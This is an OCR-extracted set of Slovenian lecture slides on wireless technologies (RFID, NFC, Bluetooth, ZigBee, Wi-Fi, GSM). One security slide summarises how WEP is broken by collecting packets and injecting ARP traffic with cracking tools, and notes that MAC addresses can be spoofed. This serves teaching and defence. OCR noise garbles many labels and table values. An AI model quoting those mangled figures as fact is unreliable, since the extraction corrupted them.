IEEE 802.22 Wireless
Regional Area Networks

WWAN

IEEE 802.20
Mobile Broadband
Wireless Access (MBWA)

3GPP, 3GPP2
GSM, UMTS, HSxPA,
HSPA+, LTE, LTE-Advanced

WMAN

IEEE 802.16
Wireless MAN
MMDS, LMDS

ETSI HIPERMAN
& HIPERACCESS

WLAN

IEEE 802.11
Wireless LAN

ETSI
HIPERLAN

WPAN

IEEE 802.15
Bluetooth

ZigBee
UWB

WBAN
RFID NFC 7

Stacionarni in mobilni domet: nekaj 1000 km
Razli¢ne hitrosti: kbit/s do nekaj 10 Mbit/s
Pokrivanje s sateliti LEO, MEO in GEO

Stacionarni domet: do 100 km, tip. 30 km
Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s
Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km
Hitrost: do 21.6 Mbit/s HSPA+
Celi¢no globalno pokrivanje
Operatersko okolje

Stacionarni in mobilni
domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s
Operatersko okolje

Nomadsko: do 500 m
Hitrost: do 150 (600) Mbit/s
Lokalno pokrivanje
Brezplacna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)
Osebno pokrivanje, brezpla¢no

Blizina telesa: do 10 cm
aktivni RFID: do 50 m
Hitrost: do 424 kbit/s

www.ltfe.org, Laboratorij za telekomunikacije 11 )




ll Pasivni RFID

m Pasivne oznake nimajo lastnega napajanja
m izkoriS€ajo energijo, pridobljeno s strani €italca
m zahteva dolgo sprejemno anteno
m tehnologija odboja prejete energije
m manjSi domet
m LF (125 kHz) in HF (13,56 MHZ) do 1 m

m UHF (865 — 965 MHz) do 10 m RFID cCitalec

= Tocke z namescenimi Citalci G198 haleh)

m belezenje prisotnosti in kontrola dostopa
m Oznacevanje inventarja
m sistemi proti kraji

m avtomati za pijaéo/hrano

m zagon avtomobila

www.ltfe.org, Laboratorij za telekomunikacije 12 )
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| Aktivni RFID

= Oznake aktivhega RFID so baterijsko napajane

m pove€an domet do nekaj 10 (100) m

Mother/baby matching
Prevent accidental baby
switching.

m tipi€na avtonomnost naprav > 5 let

User-friendly
software

L Visual indication
- oftagand alarm
location.

m ViSje prenosne hitrosti

Infant protection
Patented skin-sensing

m mozen centralen odjem active RFD tg.

-

m Moznost neodvisnega delovanja ‘-u 1

= Nekatere slabosti
m stroSkovno drazja izvedba "

@4

m naprava je ve€ja in tezja

AN

m prazna baterija povzro€a tezave

Patient location

Medical equipment Real-time location of
protection and lacation irfants and patients.
- - - Protect medical items such as
= Primeri aktivhega RFID ¥ s and s

equipment with Asset Tags.
One-touch staff distress alerts

m mikrovalovno cestninjenje, nadzor gibanja sccess through provcted exts,

m lociranje uporabnikov in inventarja

www.ltfe.org, Laboratorij za telekomunikacije 13 |
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| RFID - NFC

= NFC - Near Field Communication
m podzvrst tehnologije RFID

m Citalec in oznaka v isti napravi - telefonu
m komunikacija do 10 cm

m vecéja varnost prenosa podatkov

m doseganje hitrosti do 424 kbit/s
m uporaba NFC profilov

m avtomatizacija rokovanja s telefonom

= Omogoc€anje novih storitev

m Touch-and-Go (vstopnice)

m Touch-and-Confirm (placilo)

m Touch-and-Connect (vizitke)

m Touch-and-Explore (informacije)

Touch to Pay Touch to Ticket

{ www.ltfe.org, Laboratorij za telekomunikacije 14 |




Umestitev tehnologi) WPAN

WGAN

BGAN Broadband Global
Area Networks

WRAN

IEEE 802.22 Wireless
Regional Area Networks

WWAN

IEEE 802.20
Mobile Broadband
Wireless Access (MBWA)

3GPP, 3GPP2
GSM, UMTS, HSxPA,
HSPA+, LTE, LTE-Advanced

WMAN

IEEE 802.16
Wireless MAN
MMDS, LMDS

ETSI HIPERMAN
& HIPERACCESS

WLAN

IEEE 802.11
Wireless LAN

ETSI
HIPERLAN

WPAN

IEEE 802.15
Bluetooth

ZigBee
UWB

WBAN
RFID NFC 7

Stacionarni in mobilni domet: nekaj 1000 km
Razli¢ne hitrosti: kbit/s do nekaj 10 Mbit/s
Pokrivanje s sateliti LEO, MEO in GEO

Stacionarni domet: do 100 km, tip. 30 km
Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s
Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km
Hitrost: do 21.6 Mbit/s HSPA+
Celi¢no globalno pokrivanje
Operatersko okolje

Stacionarni in mobilni
domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s
Operatersko okolje

Nomadsko: do 500 m
Hitrost: do 150 (600) Mbit/s
Lokalno pokrivanje
Brezplacna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)
Osebno pokrivanje, brezpla¢no

Blizina telesa: do 10 cm
aktivni RFID: do 50 m
Hitrost: do 424 kbit/s

www.ltfe.org, Laboratorij za telekomunikacije i |




| Uporabnost tehnologij WPAN

m Brezzi€éna osebna omrezja (Wireless Personal Area Networks)
m prenos informacij v zaprtem osebnem krogu na razdalji (nekaj) 10 metrov

m neposredne (ad-hoc) povezave naprav v radijskem dosegu
m uporaba ne zahteva posebne komunikacijske infrastrukture (npr. AP)
m tipi€no brez povezljivosti navzven (npr. v internet)

m mozni dodatni vmesniki (prehodi) med WPAN in drugimi tehnologijami

s e e e e

| LA
| 000000 XX

www.ltfe.org, Laboratorij za telekomunikacije 16 |
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m Bluetooth - IEEE 802.15.1

Prvi razsirjeni predstavnik druzine WPAN

m uporaba uporabniskih profilov
m Headset Profile (HSP) RFID mode

Standardisation body

m Human Interface Device Profile (HID) Network Standard

m Serial Port Profile (SPP) Network Type
.. .. - Cryptography
m razvoj nizko-energijske razli¢ice (BLE) ?
ange
m konkurenca RFID in ZigBee Frequency
. i Bit rate
m namenjen zgolj prenosu podatkov Sot.up time

m hizje hitrosti (do 200 kbit/s)

m varna brezziéna tehnologija za povezovanje razliénih naprav
m asimetriéne hitrosti do 2,1 Mbit/s od razli€ice 2.0 (EDR) naprej

m simetriéni kanali 64 kbit/s za prenos zvoka (BT sluSalke)

Bluetooth V2.1
active

Bluetooth S1G
IEEE 802.15.1
WPAN
available

~30 m (class 2)
24-25 GHz
2.1 Mbit/s

<hbs

OOITI

BLE
active
Bluetooth SIG
|[EEE 802.15.1
WPAN
available
~50m
24-25 GHz
~200 kbit/s

< 3ms

EE:
02

P

15

NFC
IS0 18000-3
ISC/EC

IS0 13157 etc.

Point-to-point
not with RFID
<02m
13.56 MHz
424 kbit/s

<01s

Power consumption |varies with class| < 15 mA (xmit) = 15mA (read)

——
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m Osnovna topologija omrezja

Piconet

Master

O

s

Slave

Point to point

Point to multipoint

m en pikonet sprejme najve€ 1 gospodarja in 7 aktivnih odjemalcev

B
® 6B

m podatki se prenasajo samo med gospodarjem in odjemalcem in ne med odjemalci

m Mozna avtomatska vzpostavitev povezave, ko pride odjemalec v doseg zveze

m znacilnosti fizi€nega kanala so dolo€ene s pomog¢jo naslova gospodarja

m Vvzorec skakanja vseh naprav v pikonetu je enak in dolo€en iz 48-bithega naslova

Status
naprav:

M=Master
S=Slave
P=Parked
SB=Standby

——
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Povezovanje In stanja naprav

V pripravljenosti STANDBY

Iskanje in INQUIRY
vzpostavitev

Aktivno stanje TRANSMIT

VarCevanje z
energijo

Sprosti aktiven
naslov, ostane
sinhroniziran na
beacon, poslusa
broadcast oddaje.

Kdo ima
Bluetooth
vklopljen?

Kaj ta
naprava
zna?

CONNECTED

ACL link se ustavi, Stanje zmanjSanega
SCO je Se vedno poslusanja piconeta.
podprt. Sprosti

kapaciteto za

poizvedbo, klic in

druge piconete.

——
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| ZigBee - IEEE 802.15.4

= Tehnologija kratkega dometa z veliko uporabnostjo

m enostavnejSa in cenejSa od razSirjene razli€éice Bluetooth 2.1

= Lastnosti tehnologije
m nizka poraba energije
m nizke podatkovne hitrosti (20-250 kbit/s)
m podpora razliénim omreznim topologijam

m Vvisoka stopnja robustnosti

= Tipiéna uporaba

m povezovanje senzorjev, ad-hoc komunikacija

Telecom Health

www.ltfe.org, Laboratorij za telekomunikacije 20 |




m Topologije omrezja ZigBee

Podpora razvejanim omrezjem
m zvezda - enostavna centralizirana topologija brez redundantnih povezav
m razvejano drevo - hierarhiéno centralizirana topologija brez redun. povezav

m mreza - delno / polno povezano decentralizirano omrezje z red. povezavami

Q ZB koordinator / FFD :
Razvejano drevo
' ZB usmerjevalnik / FFD “Cluster Tree”

' ZB koncna naprava / RFD

Zvezda
“Star”

Mreza
HMeShH

www.ltfe.org, Laboratorij za telekomunikacije
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Druge resitve kratkega dosega

= Uporaba komunikacijskih modulov za vgrajene sisteme
m tipi€ne frekvence 433 MHz, 868 MHz in 2,4 GHz

m programska nastavitev frekvence

m hitrosti nastavljive do 115,2 kbit/s (in ve¢)
m domet nekaj 100 m na prostem

m tipiéna vodila: SPI, RS-232

m izhod RSSI (prikaz moé€i signala)

= Primeri enostavne uporabe

Uporaba modulov za kodirano

krmiljenje relejev (cena ~ 5 - 10€) Uporaba modulov TRX za podatkovni

Uporaba razvojnih ploS€é Arduino z
prenos do 115,2 kbit/s (cena ~ 5 - 10€) P ) D

raznimi moduli RF (cena > 20€)

‘TR

oo
@0
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Umestitev tehnologi) WLAN

WGAN

BGAN Broadband Global
Area Networks

WRAN

IEEE 802.22 Wireless
Regional Area Networks

WWAN

IEEE 802.20
Mobile Broadband
Wireless Access (MBWA)

3GPP, 3GPP2
GSM, UMTS, HSxPA,
HSPA+, LTE, LTE-Advanced

WMAN

IEEE 802.16
Wireless MAN
MMDS, LMDS

ETSI HIPERMAN
& HIPERACCESS

WLAN

IEEE 802.11
Wireless LAN

ETSI
HIPERLAN

WPAN

IEEE 802.15
Bluetooth

ZigBee
UWB

WBAN
RFID NFC 7

Stacionarni in mobilni domet: nekaj 1000 km
Razli¢ne hitrosti: kbit/s do nekaj 10 Mbit/s
Pokrivanje s sateliti LEO, MEO in GEO

Stacionarni domet: do 100 km, tip. 30 km
Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s
Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km
Hitrost: do 21.6 Mbit/s HSPA+
Celi¢no globalno pokrivanje
Operatersko okolje

Stacionarni in mobilni
domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s
Operatersko okolje

Nomadsko: do 500 m
Hitrost: do 150 (600) Mbit/s
Lokalno pokrivanje
Brezplacna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)
Osebno pokrivanje, brezpla¢no

Blizina telesa: do 10 cm
aktivni RFID: do 50 m
Hitrost: do 424 kbit/s
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| Arhitektura in gradniki WLAN-omrezij

»  Osnovni gradniki arhitekture
m distribucijsko omrezje
m dostopovne tocke
m repetitorji in mostovi

m terminalna oprema

W\)_ Premosc¢evalnik
Premoscevalnik (angl. bridge mixed-mode)
(angl. bridge root) .

Ponavljalnikw‘”\\/\‘
(angl. repeater)

PremosSdevalnik
(angl. bridge non-root)

www.ltfe.org, Laboratorij za telekomunikacije
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Brezzicni usmerjevalnik

Kaj vsebuje brezziéni usmerjevalnik (angl. wireless router)
m usmerjevalnik s storitvami: NAT, DHCP, pozarni zid, prehod, filtriranje

m stikalo (angl. switch): razdeljuje promet znotraj enega omrezja LAN

m dostopovna toc¢ka (angl. access point): omogo€a brezziéni podaljSek LAN

Opticni
kabel ali
- ADSL

modem

javni

h

IP
WAN

Usmerjevalnik
(NAT, DHCP,

FW, nastavitve) |,

zasebni

IP

Stikalo
4 mesta

.
"
-
a
"
-
N
N
-
-
\
N
.
"
-
N
N
.
Y

Dostopovha
tocka
(brezZicni del)

RJ45
Ethemet |
uporabniki |

WLAN
brezzicni -
uporabniki
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Oznaka omrezja SSID

Uporaba SSID

m oznaka omrezja (Service Set |Dentifier)

m priporocilo: takojSnja sprememba privzetih vrednosti

m poimenska lo€itev omrezij WLAN

® MOZNO povezovanja ve€ omrezij v eno
m uporabno za odkrivanje omrezij in povezovanje
m dodajanje na “trajni” seznam uporabe
m moznost skrivanja SSID (Se vedno se oddajal)
Nacini vnosa SSID v terminalno opremo
m avtomatsko pri odkrivanju (oglasevan SSID)
m ro€no z vnosom v okno (SSID skrit, a poznan)

m Z opazovanjem prometa na kanalu (SSID nepoznan)

SSID Stats (top 1000)

SSID Total |Percent

=no ssid= 2162072|5.755%
linksys 2158042 5.744%
MNETGEAR 741942 | 1.975%
default 610483 | 1.625%
Belkins4g 290098 | 0.772%
hpsetup 260511 | 0.693%
DLINK 240370 | 0.639%
no_ssid 237727 |10.632%
Wireless 233571 |0.621%
BTOpenzone 135554 | 0.360%
WLAN 125619 | 0.334%
home 116266 | 0.309%
BTFOM 97301 |0.259%
ACTIONTEC 92484 |0.246%
Free Public WiFi 90346 |0.240%
=hidden ssid= T4887 |0.199%
freephonie 69947 |0.186%
FreeWiFi 68401 |0.182%
sme 60478 |0.160%
(nully 49853 |0.132%
ZyXEL 45818 |0.121%
Meuf WiFi 45270 |0.120%
MSHOME 45114 |0.120%
SITECOM 44652 |0.118%
Motarola 43378 |0.115%
FRITZIBox Fon WLANM 7170 43363 |0.115%
Guest 37348 |0.099%
SFR WiFi Public 36720 |0.097%
hhonors 34815 |0.092%
attwifi 33334 |0.088%
Fhilips WiFi 32319 |0.086%
tsunami 29991 |0.079%
eduroam 29816 |0.079%
101 29095 |0.077%
3Com 28844 |0.076%
tmobile 28725 |0.076%
orange12 26944 |0.071%
VOIP 25862 |0.068%
FRITZIBox Fon WLANM 7112 25130 |0.066%
orange 25118 |0.066%

Vir: http://www.wigle.net/gps/gps/main/ssidstats

——
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Odkrivanje omrezja WLAN

Funkcija “iS€i omrezja”

m posluSanje (pasivno odkrivanje)

m uporabniSka postaja preleti seznam vseh kanalov

m na vsakem posluSa doloéen €as in €aka na svetilnik (beacon)

m poizvedovanje (aktivna zahteva)

m uporabniSka postaja preleti seznam vseh kanalov

m na vsakem odda zahtevo (probe) po podatkih morebitne AP

Pasivno

www.ltfe.org, Laboratorij za telekomunikacije
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| Razliéice WLAN tehnologij

= 802.11b
m prenosne hitrosti 1, 2, 5.5 in 11 Mbit/s T 4 ] —
m uporaba razsSirjenega spektra DSSS s Sirino 22 MHz — - II __
m 13 razliénih kanalov na 2,4 GHz ISM podro€ju W:I—_JL 4

l8021lg 1 (2 |3 |4 |5 |6 |7
m prenosne hitrosti do 54 Mbit/s

m DboljSa izkoris€enost spektra na 2,4 GHz z OFDM

m zdruzljivost nazaj z razliéico 802.11b

= 3802.11n
m 0od 72,2 do 600 Mbit/s z zdruzevanjem SirSih kanalov OFC
m uporaba veé€ih anten za vzporedne neodvisne prenose

m mozna uporaba na 2,4 in 5 GHz podro€ju

m povecan domet

{ www.ltfe.org, Laboratorij za telekomunikacije 29 |
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| Tedensko povpreéje spektra na 2,4 GHz

Meritev:

10 _ :
- center Londona Yellow - Thu; (split over two c?ays)
- tedensko povpreé€je 9 Cyan-Fri : |
- frekvenca 2,45 GHz Red- Sat
8- Blue-Sun
. Green - Mon
= :
; < 7+ Black-Tue:
Rezultati: é Magenta - We ;
. . . . . o)
- visoki nivoji mikroval. ¢ °F
pecic v éasu dnevnih g i
S |
obrokov 0
- opazne 3pice : 4 “u\m‘% h“
detektorjev gibanja 5 ;
2 3l
- ponavljajoé dnevni *
vzorec 2
- povpreéna zasedenost 1|
spektra 5-10 % (se visal) : : : : 5 :
i 1 1 1 1 i
0 04.00 08.00 12.00 16.00 20.00 00.00
Time of day (local)
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Osnovni pristopi k (ne)varnosti

Izklop oglasevanja SSID

m nastavitev: “Wireless SSID Broadcast: Disable”

Wireless Metwwark Mode:

Wireless Channel:

‘Wireless S50 Broadoast:

L
Wireless Netwark Name (SSID): [Myhetwark]

| B-2437GHz v |

C‘ Enable '&:‘ Disable

m skrivanje pred javnim prikazom v seznamih odkrivanja
m prikljuéi se lahko le tisti, ki ime omrezja pozna

m izkuSeni uporabniki: radijski promet razkriva SSID

Filtriranje naslovov MAC

() Prevent FCs listed below from accessing the wireless network.

(%) Permit PCs listed below to access the wirsless network.

Wireless Client List |

MAC 01:[00:00:00:00:00:00 | MAC 26: [00:00:00:00:00:00]

MAC 02:|00:00:00:00:00:00 | MAC 27: |00:00:00:00:00:00 |

MAC 03: [00:00:00:00:00:00 | MAC28: |00:00:00:00:00:00 |

m nastavitev: “Permit only PCs listed to access the wireless network.”

m dostop omogoéen le doloéeni strojni opremi iz seznama naslovov MAC

m izkuSeni uporabniki: spremljajo radijski promet, ki razkriva MAC uporabnikov

m Stevilka MAC se lahko “izposodi” oz. ustrezno prilagodi

Omejitev dinami€énega dodeljevanja IP

m nastavitev: “Maximum Number of DHCP Users”
m dostop omogoéen le doloéenemu Stevilu ra€unalnikov

m uporabno pri enem uporabniku

Local P Address: ez | [1es |1 RE |

Subnet Mask: |255.255.255.0 v |

DHCP Server. () Enable O Disable ) DHCP Relay
DHCP Server: | || || || |
Starting IP Address: 192.162.1.[100 |
v
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WEP

Osnovni nacin Sifriranja
m uporaba statiénih kljuéev [00:00:03] Tested 2 keys (got 1040384 IVs)
m Sibki mehanizmi varovanja

m danes prakti€no neuporaben

Dokazane slabosti
m za 24-bitni IV obstoja 50 %
verjetnost, da se ponovi po

5000 paketih pri 22 kombinacij

Raziskovalci so uspeli 104-bitni WEP (oz. 128-bitni WEP) v 50 odstotkih primerov razbiti z manj
kot 40.000 paketkov (kar znaSa dobrih 1,6 Mb podatkov). Za 95-odstotni uspeh pri razbijanju pa
je potrebno zbrati 85.000 paketkov (dobre 3,5 Mb podatkov). Poleg tega je €as "zbiranja"
paketkov mogocée pospesiti 0z. skrajSati na manj kot minuto z vrivanjem ARP in TCP ACK
paketov, kar omogoc¢ajo Stevilna vdiralska orodja, npr. Airtools.

www.ltfe.org, Laboratorij za telekomunikacije
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WPA2 (WPA druge generacije)

WPA in WPAZ2

WPA (Wi-Fi Protected Access)

m zgodnja razli€ica varnostnega standarda 802.11i (2002)

razvoj pod WiFi Alliance kot za€asno nadomestilo za Sibki WEP
uporaba procesorsko manj zahtevnih algoritmov (Firmware upgrade)

moznosti avtentikacije
m stati€en bazni kljué€ - “WPA-Personal”

m dinami€en bazni klju€ - “WPA-Enterprise” z 802.1x I I Access Point

dinami€na menjava Sifrirnih klju€ev (TKIP)

standard WPAZ2 ratificiran leta 2004 Protocols Encryption Methods

* WEP RE4
- oy - - WPA____ TKIP/IRC
naslednik vmesne “zacasne” razlicice WPA1 WPAZ —TKIP/RCA, AES .CCHIP

802.11i TKIP/RC4. AES.CCMP

obvezno spostovanje priporo€il standarda 802.11i
najbolj varna izbira WPA2-PSK AES (Advanced Encryption Standard)

{ www.ltfe.org, Laboratorij za telekomunikacije
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Primer nacrtovanja povezave WLAN

Transmitting Transmitter output power (common WLAN: +15dBm) |[+19 dBm
Cable loss (Normally -3 to -10 db, calculate here) Add connector loss (neg) ||-5 dB
Antenna gain (0dB, & dB (biquad) (+15 db, (helix) +24 dB (parabolic) |12 dBi
Propagation Free space loss (negative value! Calculate ) |94 dB
Receiving Antenna gain (0dB, 8 dB (biguad) ( +15 db, (helix) +24 dB (parabolic) |12 dBi
(Normally -3 to -10 db, calculate here) Add connector loss (neg) |- dB
Receiver sensitivity (depending on manufacturer between -78 to -85 dBm I_E : dB
@ 11 Mbps) L
Total Remaining margin: _ Calculate |24 dB
ink should work properly if =sites are in clear ﬂ
Comments tine of =zight. Check for fresnell zone and ;l
LEQEH limit 3;;;:&1'& iz illegal in Europe (radiated power > 20 ﬂ
Vir: http://www.gsl.net/paOhoo/helix_wifi/linkbudgetcalc/wlan budgetcalc.html
Remarks:

1) To achieve a very reliable link, a margin of at least 10 dB is needed. This accommaodates for local fading (=
variations of signal strength caused by refelections). A 4 to 6 dB margin is needed if the link reliability is moderate.
2) check if Eresnell and/or diffraction limitations apply. Add exira losses to the margin that is needed

3) Polarnisation errors: add 3 dB to the required margin when helical antennas to horizontal or vertical antennas are
used. add 30 dB in the case of polarity mismatch between antennas. (Hor/vert antenne or left/iright rotating antennas).

Izraéun za 2,4 Ghz, 500 m, 5 m kabla, 2 x yagi antena | www.ltfe.org, Laboratorij za telekomunikacije 35 |
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Umestitev mobilnih tehnologij

WGAN

BGAN Broadband Global
Area Networks

WRAN

IEEE 802.22 Wireless
Regional Area Networks

WWAN

IEEE 802.20
Mobile Broadband
Wireless Access (MBWA)

3GPP, 3GPP2
GSM, UMTS, HSxPA,
HSPA+, LTE, LTE-Advanced

WMAN

IEEE 802.16
Wireless MAN
MMDS, LMDS

ETSI HIPERMAN
& HIPERACCESS

WLAN

IEEE 802.11
Wireless LAN

ETSI
HIPERLAN

WPAN

IEEE 802.15
Bluetooth

ZigBee
UWB

WBAN
RFID NFC 7

Stacionarni in mobilni domet: nekaj 1000 km
Razli¢ne hitrosti: kbit/s do nekaj 10 Mbit/s
Pokrivanje s sateliti LEO, MEO in GEO

Stacionarni domet: do 100 km, tip. 30 km
Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s
Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km
Hitrost: do 21.6 Mbit/s HSPA+
Celi¢no globalno pokrivanje
Operatersko okolje

Stacionarni in mobilni
domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s
Operatersko okolje

Nomadsko: do 500 m
Hitrost: do 150 (600) Mbit/s
Lokalno pokrivanje
Brezplacna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)
Osebno pokrivanje, brezpla¢no

www.ltfe.org, Laboratorij za telekomunikacije 2




Brezzicnost in mobilnost

Brezzichost

Lo B o
m komunikacija brez uporabe zic Q*Zﬂ&?"’
m oOstajajo napajanje, antenski vodi, interna vodila &

Q%
o 80216
y L . (Z A
m uporaba radijskega ali optichega spektra Rezidencni ‘/
.\-HH'\-\.

uporabnik ,
m Sirok nabor uporabnih frekvenc =t o -l. it
. g WIMAX CPE
m scenariji uporabe Nomadska | =] R .
. . . uporaba Jme. f "5 ~
m fiksna, nomadska ali mobilna Q
WiFi Phane
Mobilnost

m komuniciranje med premikanjem

m predaja zveze brez prekinitve po SirSem obmogéju
m zagotavljanje globalne pokritosti

m razdelitev na celice, ki pokrivajo prebivalstvo

m primer Mobitel: 99,7% prebivalstva in 85,09% ozemlja

m zgolj prostrana omrezja (WAN)

{ www.ltfe.org, Laboratorij za telekomunikacije 3 |
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| Generacije mobilnih tehnologij

Predstavniki generacij
m 0G (pred-1G): MTS, IMTS, ARP, B-Netz

1G: NMT, AMPS, TACS, ETACS, JTACS, UTACS

2G: GSM, CSD, D-AMPS, IS-95/cdmaOne, PDC

2.5G: GPRS, HSCSD, EDGE
3G: W-CDMA, TD-CDMA, FOMA
3.5G: HSDPA, HSUPA
3.75G: HSPA+

3.9G: LTE

4G:

Zanimivosti
m 1984: Prvi prenosni mobilni NMT telefon (Nokia)

m 1987: Pojav prvih Zepnih telefonov s tezo, manjso od 1 kg

{ www.ltfe.org, Laboratorij za telekomunikacije 4 ]




Prvi sistem mobilne telefonije v SLO

NMT - Nordic Mobile Telephony mOblteI
m delovanje omrezja 14 let (1991 do 2005) SLOVENSKI OPERATER NMT& GSM

m ugasSanje pri 40.000 uporabnikih in pokritosti 98,9% prebivalstva 31.12.2005

m postavitev na visinskih to¢kah (oddajniki RTV)
m veé€je oddajne mocéi terminalov do 20 W z dometi tudi do 100 km 1 G

m pokrivanje nekaterih predelov, kamor GSM signal ne seze

m zmanjSana kapaciteta sistema zadostuje takratni rabi

m konéna postavitev je zajemala ve€ kot 180 lokacij (220 celic)

m analogen sistem FM/FDMA na 420 MHz
Redki terminali

m cena 2k-8k DEM

m prevozni

T 'f /‘ .g\ ~ Pokritost ozemlja

m prenosni -4 s signalom NMT

(7
S (Vir: Mobitel, 2005)

m (skoraj) Zepni “\\

www.ltfe.org, Laboratorij za telekomunikacije 5 ]
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| Omrezje GSM

s GSM - globalni sistem s Stevilnimi prednostmi

m oOsebna prenosljivost — identifikacija s kartico SIM

m Vv katerem koli omrezju in s katerim koli terminalom

m terminalna prenosljivost — moznost uporabe kateregakoli terminala

m Vv katerem koli omrezju in s katero koli kartico SIM

= Digitalizacija komunikacije Pokritost prebivalstva s

. . - . signali GSM (99,7%) i
m povec€anje zaS¢€ite proti zlorabam g

m vec€ja kapaciteta sistema

Vir: Mobitel,
b, Maj 2011

m veliko novih storitev
m SMS sporoéila
m ViSji prenos podatkov
m boljSi prenos govora

m Mmobilni faksimile Zaéetek EU: 1991

= identifikacija klica Zacetek SLO: 1996

——

www.ltfe.org, Laboratorij za telekomunikacije 6

o




| Princip celicnosti

= Omrezje GSM ima na voljo omejeno Stevilo kanalov oz. frekvenc
m na 900 MHz pasu je na voljo skupaj 175 kanalov
m delitev med tri operaterje (Mobitel: 62, Simobil: 62, TuSmobil: 50)

m motnje med sosednjimi celicami

m frekvence se v isti in sosednjih celicah ne ponavljajo

m povpreéna raba cca. 3 frekvence na celico = 22 uporabnikov "2 5 \ y

m reSevanje problema kapacitet z velikostjo celic

m modeliranje celi€nega omrezja

m teoreticni model: Sestkotniki, 6+1

..
.
e,
.
.
»

m praktiéni: statisti€ne meritve, razli€éne velikosti
r d r

<
<

a
v
v

»

/Fn

Pravilo za ponovno
uporabo kanala

d>2*r

.
.

.
L\

www.ltfe.org, Laboratorij za telekomunikacije 7 )
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L&

Ay
| Postavitev celic v realnem okolju

Pametne antenel.

Users
// on cell 2
///
7 Cell 2
i Carrier 1
—EEmert
— j
) T Users f—
>\\ T in
— SHO
—_ .
\\ 308 beamwidth [~ """ —
h Users
on
cell 1 | Cell 1
carrier 1

——
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| Arhitektura celicnega omrezja GSM

= Omrezje GSM sestavlja zvezdasto razvejana arhitektura
m jedrni del omrezja z glavnim centrom MSC (eden ali ve€)
m bazna postaja BS z nadzornikom BSC (vsak MSC ve€ BSC, BSC ve¢ BS)

m Mmobilna postaja MS s kartico SIM (vsaka BS sprejme veé MS)

— - E— o,
—
-

m baze in registri podatkov _ =~ "0sS - podsistem upravljanja

m HLR, VLR - zagotavljajo mobilnost,’
s EIR, AuC - varnost in zasebnost

m OMC, TMN - upravljanje
BSS — podsistem bazne postaje

Mobitel (1009):
940 GSM BS,

— 6100 TRX@900MHz,
MS — mobilni terminal NSS - podsistem omrezja (jedro) 550 TRX@1800MHz

{ www.ltfe.org, Laboratorij za telekomunikacije
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| Gostovanije v tujini

= Primer klica slovenskega naroc¢nika, ki gostuje v tujini

klicatelj v Sloveniji zavrti telefonsko stevilko mobilnika

pri domacéem operaterju mobilnika se preveri stanje uporabnika (HLR)
m uporabnik je doma, vdomaéem omrezju
m uporabnik se nahaja v tujini, prijavljen je v omrezju tujega operaterja

m uporabnik ima izklopljen telefon pomace omrezje Tuje omreZje

klic se preusmeri v tujino e B @ﬁ@ @Q@

s
tuj operater o) ﬁ - : £
m preveri, na katerem obmocju £3- = = —£3
P J | & |
. B Bsc

celic se uporabnik nahaja | )

hﬂ'lehl.l

LS&S netwurl(J \ menu

I -l BTS

. BTS

m sprozi klic na skupino celic 7

naro€nik v tujini

m Se odzove na klic

m plaéa gostovanje

www.Itfe.org, Laboratorij za telekomunikacije
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Prenos govora

Komunikacijski model

modulacija

900/1800 MHz

+ DTX + CNG

«— 4.615 ms TDMA okvir ——
Oseba govori, telefon pripravlja govor na: oddajo

as b

.4®i\i’

A5, A8
A | izvorni @— <analski ,| Sifriranje
D_’ D kodirnik kodirnik signala
FR: 13 kbit/s iz 260 bitov vsebina se
HR: 6.5 kbit/s nastane 456 bitov primg_sa oz.
EFR: 12.2 kbit/s => 22.8 kbit/s zakodira

lzmeni€na radijska oddaja - deljeni sodostop

GMSK
270.833 kbit/s

1 /0.004615 s = 216.67 Hz |
| sliSno v zvo€éniku

w

Claso

vV nNna

B Signaliz.

/ Nefon odda govor
0.577ms TDMA okno

|:| Luka

Barbara

|:| Rok

|:| Mojca |:| Anita
|:| Andreja - Nejc

Upor. podatki| S Upor. podatki
o7 1 o7

Ugil. zap
26

1

——
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Prenos sporocil SMS

» SMS center (SMSC)

m osrednji element za hranjenje in posredovanje sporoéil

m nadzor nad dostavo sporocil in obveSéanjem o prejemu

m doloéeno trajanje sporoéil v centru (maks. 72 ur)
Slovenci smo lani poslali 1,277

: milijarde SMS-sporoé€il, v zadnjem
= PosebnOStl SMS cetrtletju pa je bilo poslanih veé

w el . kot osem milijonov MMS-sporoéil,
m omogocéen prenos 160 7-bitnih ASCII znakov kar je 34 % veé kot v &etrtletju prej

Vir: RTVSLO.si, 21.3.2011

MS BTS BSC MSC

SME VLR

SMS — GMSC Gateway MSC
SMS — IWMSC InterWorking MSC

SC — Service Center HLR Naslov SMS centra je
SME — Short Messaging Entity shranjen na kartici SIM
(posiljanje v tujini deluje tudi brez +386...)

——

www.ltfe.org, Laboratorij za telekomunikacije 12 )




Prenos sporocil USSD

USSD - Unstructured Supplementary Service Data

m uporaba znakovnih nizov *, # in cifer preko tipkovnice AT,

m Niz *XXX*Y# (XXX — zakupljena koda storitve, Y — izbira uporabnika) s ek

4 &5 b 0

m najvec€ja dolzina sporoéila je omejena na 182 znakov 7 8w &
.0 N

m hitrost delovanja

m izpis neposredno na zaslon terminala v skoraj realnem ¢éasu

m 7-krat hitrejSi prenos od transporta sporo€il SMS

m ukazi USSD delujejo tudi v tujini

. - Mobilni
Primeri uporabe uporabniki
m RA/TV glasovanja Glasovi
Nastavihfe
m napolnitev predplaéniskih kartic D L
5 " -
m narocniske poizvedbe Podatki o glasovih
. Ponudnik
m SIM toolkit M:Vrata storitve
{ www.ltfe.org, Laboratorij za telekomunikacije 13 |
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Prenos podatkov

